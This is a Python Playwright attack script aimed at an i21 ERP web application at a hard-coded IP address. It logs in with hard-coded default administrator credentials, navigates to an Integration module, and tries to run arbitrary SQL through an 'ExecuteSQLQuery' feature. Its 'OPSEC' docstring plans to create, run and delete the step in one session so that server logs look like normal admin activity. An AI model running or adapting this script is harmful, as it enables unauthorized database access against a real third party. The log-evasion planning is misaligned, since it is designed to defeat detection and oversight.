#!/usr/bin/env python3
"""
i21 Integration Module — SQL Execution via Headless Browser.

Flow:
1. Login as irelyadmin
2. Navigate to Integration module
3. Find ExecuteSQLQuery step type
4. Create new step with our SQL
5. Execute step
6. Capture result
7. Delete step (cleanup)

OPSEC: Step is created, executed, and deleted in one session.
       IIS logs show normal admin activity.
"""
import asyncio
import json
import time
import sys
import os
from playwright.async_api import async_playwright

# Target
IP = sys.argv[1] if len(sys.argv) > 1 else "66.175.238.112"
APP = sys.argv[2] if len(sys.argv) > 2 else "2610RTROGERSUAP1"
BASE = f"http://{IP}/{APP}"

# SQL to execute — get DB info first
SQL_QUERY = "SELECT @@version AS version, DB_NAME() AS db_name, GETDATE() AS now, SUSER_NAME() AS sql_user"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context(
            viewport={"width": 1920, "height": 1080},
            ignore_https_errors=True
        )
        page = await context.new_page()
        
        # Collect all AJAX requests
        ajax_requests = []
        page.on("request", lambda req: ajax_requests.append({
            "url": req.url,
            "method": req.method,
            "post_data": req.post_data[:200] if req.post_data else None
        }) if "api" in req.url or "Integration" in req.url else None)
        
        page.on("response", lambda resp: print(f"  [AJAX] {resp.request.method} {resp.url.split(APP)[-1][:80]} → {resp.status}") if "api" in resp.url or "Integration" in resp.url else None)
        
        errors = []
        page.on("pageerror", lambda err: errors.append(str(err)))
        
        try:
            # === STEP 1: Login ===
            print(f"\n=== STEP 1: Login to {BASE}/login ===")
            await page.goto(f"{BASE}/login", wait_until="networkidle", timeout=30000)
            
            # Fill login form
            token_input = await page.query_selector('input[name="__RequestVerificationToken"]')
            if token_input:
                token = await token_input.get_attribute("value")
                print(f"  Token: {token[:30]}...")
            
            await page.fill('input[name="Email"]', 'irelyadmin')
            await page.fill('input[name="Password"]', 'i21By2015')
            await page.fill('input[name="Company"]', '01')
            
            # Submit
            await page.click('button[type="submit"], input[type="submit"], button:not([type="button"])')
            await page.wait_for_load_state("networkidle", timeout=15000)
            
            print(f"  After login URL: {page.url}")
            if "login" in page.url:
                print("  ❌ Login failed — still on login page")
                # Save screenshot for debugging
                await page.screenshot(path="/tmp/login_fail.png")
                await browser.close()
                return
            
            print("  ✅ Login OK")
            
            # === STEP 2: Navigate to Integration ===
            print(f"\n=== STEP 2: Navigate to Integration module ===")
            # The dashboard is an ExtJS SPA — navigate via hash route
            # From the dashboard, Integration is a menu item
            # Try direct hash navigation
            await page.goto(f"{BASE}/#Integration", wait_until="networkidle", timeout=20000)
            await asyncio.sleep(3)
            print(f"  URL after #Integration: {page.url}")
            
            # Take screenshot to see what's on screen
            await page.screenshot(path="/tmp/integration_page.png")
            print(f"  Screenshot saved: /tmp/integration_page.png")
            
            # Check if Integration module loaded
            content = await page.content()
            if "Integration" in content:
                print("  ✅ Integration module found in page")
            
            # Look for Integration menu items (sub-menus)
            # The page has a sidebar/menu with Integration folder
            # Click on Integration folder to expand
            integration_elements = await page.query_selector_all('text=Integration')
            print(f"  'Integration' text elements found: {len(integration_elements)}")
            
            # Try clicking the Integration menu item
            for el in integration_elements:
                tag = await el.evaluate("el => el.tagName")
                if tag in ("A", "LI", "SPAN"):
                    await el.click(timeout=5000)
                    await asyncio.sleep(2)
                    print(f"  Clicked {tag} 'Integration'")
                    break
            
            # === STEP 3: Find Execute SQL Query ===
            print(f"\n=== STEP 3: Find SQL execution feature ===")
            await page.screenshot(path="/tmp/integration_expanded.png")
            
            # Look for SQL-related menu items
            sql_items = await page.query_selector_all('text=Execute SQL')
            print(f"  'Execute SQL' elements: {len(sql_items)}")
            
            sql_items2 = await page.query_selector_all('text=SQL')
            print(f"  'SQL' elements: {len(sql_items2)}")
            
            # Try navigating to Connection view (which has SQL execution)
            await page.goto(f"{BASE}/#Integration/Connection", wait_until="networkidle", timeout=15000)
            await asyncio.sleep(3)
            await page.screenshot(path="/tmp/integration_connection.png")
            print(f"  Navigated to Connection view")
            
            # Try ExecuteSQLQuery route
            await page.goto(f"{BASE}/#Integration/ExecuteSQLQuery", wait_until="networkidle", timeout=15000)
            await asyncio.sleep(3)
            await page.screenshot(path="/tmp/integration_sqlquery.png")
            print(f"  Navigated to ExecuteSQLQuery")
            
            # Check for SQL input fields
            sql_textarea = await page.query_selector('textarea[name*="SQL" i]')
            if sql_textarea:
                print("  ✅ SQL textarea found!")
                await sql_textarea.fill(SQL_QUERY)
                print(f"  Filled SQL: {SQL_QUERY[:60]}...")
                
                # Find execute button
                execute_btn = await page.query_selector('button:has-text("Execute"), button:has-text("Run"), input[value="Execute"]')
                if execute_btn:
                    print("  ✅ Execute button found!")
                    await execute_btn.click()
                    await asyncio.sleep(5)
                    
                    # Capture result
                    result = await page.content()
                    print(f"  Result page size: {len(result)}")
                    await page.screenshot(path="/tmp/sql_result.png")
                else:
                    print("  ❌ Execute button not found")
            else:
                # Check page content
                content = await page.content()
                # Find any textarea
                textareas = await page.query_selector_all('textarea')
                print(f"  Textareas found: {len(textareas)}")
                for i, ta in enumerate(textareas[:5]):
                    name = await ta.get_attribute("name") or ""
                    print(f"    [{i}] name={name}")
                
                # Find any code editor (Ace, CodeMirror, etc.)
                editors = await page.query_selector_all('.ace_editor, .CodeMirror, .cm-editor')
                print(f"  Code editors: {len(editors)}")
            
            # === STEP 4: Explore via AJAX ===
            print(f"\n=== STEP 4: AJAX requests captured ===")
            for req in ajax_requests:
                print(f"  {req['method']:4s} {req['url'].split(IP)[-1][:80]}")
                if req.get("post_data"):
                    print(f"       data: {req['post_data'][:100]}")
            
            if errors:
                print(f"\n=== Page errors ===")
                for err in errors[:5]:
                    print(f"  {err[:200]}")
            
        except Exception as e:
            print(f"\n❌ Error: {e}")
            import traceback
            traceback.print_exc()
            await page.screenshot(path="/tmp/error.png")
        
        finally:
            await browser.close()

asyncio.run(main())
